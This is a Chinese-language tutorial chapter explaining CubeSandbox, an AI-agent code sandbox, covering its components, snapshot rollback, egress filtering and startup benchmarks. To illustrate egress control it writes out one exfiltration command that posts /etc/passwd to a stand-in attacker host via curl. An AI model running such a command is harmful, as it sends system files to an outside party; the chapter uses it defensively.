第五章 · CubeSandbox——为 AI Agent 而生的「最后一公里」

这章为谁设计

你想理解「一个面向 AI Agent 的完整沙箱产品是什么样的」。CubeSandbox 是犀牛鸟 2026 的竞赛项目——如果你要参赛或贡献开源，这章是必读。

一句话定位

腾讯开源的 AI 代码执行沙箱，用 Firecracker 同源技术做到 60ms 冷启动 + <5MB 内存，同时兼容 E2B SDK——等于给 AI Agent 造了一台「即插即用的引擎」，既能自己开，也能上别人的平台。

日常类比

Firecracker 是一台发动机，E2B 是一个网约车平台。CubeSandbox 做了一台自己能开、也能上网约车平台的车：

引擎（RustVMM）和 Firecracker 同源——动力来自同一个技术
方向盘接口（E2B SDK）和 E2B 通用——你用过 E2B，零改动就能切换
但车身（CubeCoW 快照、CubeEgress 网络、CubeMaster 集群编排）是自己设计的

类比边界：CubeSandbox 不是 Firecracker 的简单封装——它有自己的 VMM 实现（CubeHypervisor），只是共享了 RustVMM 底层库。类似于两个汽车品牌用了同一个零件供应商。

设计哲学：站在三个巨人的肩膀上

CubeSandbox 没有从零造轮子。它站在三个巨人的肩膀上：

Cloud Hypervisor（Intel/Kata 系的 RustVMM 库）→ 提供 microVM 底层
E2B SDK → 提供上层 API 兼容（开发者零改动切换）
Firecracker → 间接提供 KVM 加速路径的设计参考

这种「三合一」策略在开源界非常罕见。大多数项目要么做引擎（Firecracker），要么做平台（E2B），CubeSandbox 同时做了两者，而且刻意保持代码精简。

6 大组件解剖

CubeSandbox 的代码结构分为 6 大组件（加上扩展组件共 10 个），每个组件有清晰的职责：

┌─────────────────────────────────────────────────────┐
│                    CubeAPI (Rust)                     │
│         高并发 REST API Gateway，E2B 协议兼容        │
├─────────────────────────────────────────────────────┤
│                   CubeMaster (Go)                     │
│        集群编排器，接收 API 请求并分发给 Cubelet       │
├────────────┬────────────────────────────────────────┤
│ CubeProxy  │              Cubelet (Go)               │
│ 反向代理    │  单节点调度，管理沙箱完整生命周期        │
├────────────┴────────────────────────────────────────┤
│  CubeVS (eBPF)  │  CubeHypervisor  │  CubeShim     │
│  虚拟交换机      │  KVM MicroVM     │  containerd   │
├─────────────────┴────────────────────┴──────────────┤
│         CubeCoW          │        CubeEgress         │
│    Copy-on-Write 快照    │   eBPF 出站安全网关        │
└──────────────────────────┴───────────────────────────┘

CubeAPI — 大门

什么是 API Gateway：所有外部请求的统一入口。类比：酒店前台——不管你要订房、退房、叫餐、叫车，都先找前台，前台再转给对应部门。

CubeAPI 用 Rust 写，处理所有来自 SDK 的请求。它的最大特点是兼容 E2B 协议——你用 E2B 的 Python SDK 发的请求，CubeAPI 能直接处理：

from e2b_code_interpreter import Sandbox
# 这行代码既能连 E2B 云服务，也能连 CubeSandbox
with Sandbox.create(template=template_id) as sandbox:
    result = sandbox.run_code('print("hello cube")')

CubeMaster — 大脑

什么是集群编排器：当你有很多台服务器时，「这个沙箱该在哪台机器上创建」需要有人决定。CubeMaster 就是做这个决定的。类比：外卖平台的派单算法——新订单来了，派给哪个骑手？看谁近、谁闲、谁能力匹配。

CubeMaster 接收 CubeAPI 转来的请求（「创建一个沙箱」），然后决定把它分配给哪个 Cubelet（节点）。

Cubelet — 手脚

什么是单节点调度组件：在一台具体的服务器上，管理所有沙箱的创建、运行、销毁。类比：一个快递站的站长——站长不决定全城的路线（那是总部的事），但决定自己站里的包裹怎么分拣、怎么出库。

Cubelet 是实际干活的——它调用 CubeHypervisor 创建 VM，调用 CubeVS 配置网络，调用 CubeCoW 做快照。

CubeVS — 网络隔离

什么是 eBPF 虚拟交换机：用 eBPF 技术在内核层面做网络包的转发和过滤。类比：一个极其高效的保安——站在大楼入口，对每个进出的人（网络包）做即时检查，不需要排队、不需要填表，扫一眼就决定放行还是拦截。

eBPF（extended Berkeley Packet Filter）：一种让你在 Linux 内核里安全地跑自定义程序的技术。传统上想修改内核行为需要写内核模块（危险、复杂），eBPF 让你写一段小程序挂到内核的特定钩子上，安全又高效。

CubeVS 确保每个沙箱有独立的网络空间——沙箱 A 不能看到沙箱 B 的网络流量。

CubeCoW — 快照引擎（核心创新 1）

什么是 Copy-on-Write：「不复制，直到你要修改」。类比：你和室友共用一本书，只要你们都只是读，就不需要复印第二本。但当你要在上面写笔记时，才复印你要写的那一页——而不是整本书。

CubeCoW 是 CubeSandbox 0.3.0 引入的核心创新。它解决的问题是：

场景：AI Agent 在沙箱里尝试修复一个 bug。跑了 100 步后发现走错了方向。

没有 CubeCoW：销毁整个沙箱，重新创建，从头跑一遍。浪费几分钟。

有 CubeCoW：在第 50 步创建一个检查点（快照），发现走错后毫秒级回滚到第 50 步，换一条路继续走。甚至可以从第 50 步 fork 出两条平行路径同时探索。

这个能力在 RL 训练（强化学习探索代码修复路径）和 Agent 调试中价值极大。examples/snapshot-rollback-clone/ 有完整示例。

CubeEgress — 出站安全网关（核心创新 2）

什么是 Egress：出站流量。Ingress 是进来的流量（别人访问你），Egress 是出去的流量（你访问别人）。

CubeEgress（0.4.0 引入）用 OpenResty + eBPF 组合，解决的是：「沙箱里的代码想往外发数据，怎么控制？」

三种模式：

deny all：禁止所有出站——最安全，但代码不能 pip install 任何包
allowlist：只允许白名单域名（如 pypi.org、github.com）——安全且实用
denylist：禁止黑名单域名——最宽松

为什么这是生产级能力：想象 Agent 生成了 curl attacker.com -d @/etc/passwd（把密码文件发给攻击者）。如果有 CubeEgress 的白名单模式，attacker.com 不在白名单里，这个请求会被直接拦截。

性能数据

指标	单并发	说明
平均启动时间	67ms	从 API 请求到沙箱就绪
P95	90ms	95% 的请求在此时间内完成
P99	137ms	99% 的请求在此时间内完成
单实例内存	<5MB	同一台机器可跑上千个沙箱

P95 / P99：百分位延迟。类比：P95 = 90ms 意味着「100 次请求里，最慢的那 5 次也不超过 90ms」。P99 是更严格的——「100 次里最慢的那 1 次」。

60ms 的秘密：这不是「从零启动一个 VM」的时间——那至少要几百毫秒。CubeSandbox 的做法是在后台预先创建好 VM 模板（pre-provisioning），用 CoW 快照瞬间交付。就像餐厅提前把半成品备好，客人点菜时只需要最后一步加工。

竞争格局中的位置

CubeSandbox 和 E2B 之间不是竞争关系，而是互补 + 替代：

E2B 是云服务——你的代码在 AWS 的 Firecracker 上跑，数据不在你手里
CubeSandbox 是开源、自托管——数据在你自己的服务器上
API 兼容——从 E2B 切换到 CubeSandbox 不需要改代码

CubeSandbox 真正要替代的不是 Firecracker（那是它的「供应商」），也不是 E2B（那是它的「兼容目标」），而是 E2B 的付费墙——让你免费自托管就能获得同等能力。

值得关注的细节

项目在 CNCF Landscape 中已被收录（AI Native → Workload Runtime），说明它在标准化路上
用 Apache 2.0 开源——企业可以自由商用
贡献者名单有腾讯内部团队背景
代码是所有硬件隔离方案中最精简的——适合通读学习

读完这章你应该能回答

CubeSandbox 和 Firecracker 的关系是什么？（共用 RustVMM 底层库，但 CubeSandbox 是完整产品，Firecracker 只是引擎）
CubeCoW 解决什么问题？（Agent 试错 → 回滚 → 重试的快照能力）
为什么 60ms 启动不是「从零创建 VM」？（预 provisioning + CoW 克隆）
CubeSandbox 的 E2B 兼容意味着什么？（用 E2B 的 SDK 代码，指向 CubeSandbox 的 API 地址就能跑）

导读目录：README.md 上一章：第四章 · Firecracker——微虚拟化的「Linux 内核」下一章：第六章 · E2B——沙箱即服务的「标准化者」